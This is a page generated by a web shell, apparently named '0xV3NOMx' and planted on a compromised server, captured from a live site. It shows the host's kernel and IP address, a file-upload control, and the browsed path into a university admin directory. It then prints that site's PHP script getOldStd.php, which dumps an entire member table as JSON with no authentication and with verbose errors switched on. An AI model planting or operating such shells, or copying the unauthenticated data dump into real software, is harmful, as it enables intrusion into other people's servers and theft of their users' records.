0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.118.33.239


Current Path : /proc/thread-self/root/var/www/html/univadmin/bkhm/
Upload File :
Current File : //proc/thread-self/root/var/www/html/univadmin/bkhm/getOldStd.php

<?php
include("/var/www/config.php");    
include ('/var/www/html/sms/sendsmsapiv1.php');

$servername = SERVERNAME;
$username = USERNAME;
$password = PASSWORD;
$database = "logisys3_demo";
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
ini_set('display_errors', 'on');

$conn = new  mysqli($servername,$username,$password,$database);

if(!$conn) 
{
    die("Connection failed: " . mysqli_connect_error());
}

$qur = "select * from memhead  where FSTATUS = 'T'";
$result1 = mysqli_query($conn,$qur);
$row = mysqli_fetch_all($result1);
$count = mysqli_num_rows($result1);
$data = json_encode(array($result1));
if($count !== 0){
    mysqli_close($conn);
   $logdet['data'] = $data;
   $logdet['row'] = $row;
    echo json_encode($logdet);
}else{
    mysqli_close($conn);
    $data = "Invalid User Name or Password";
   // echo $data;
   echo json_encode($data);
   
}

//

?>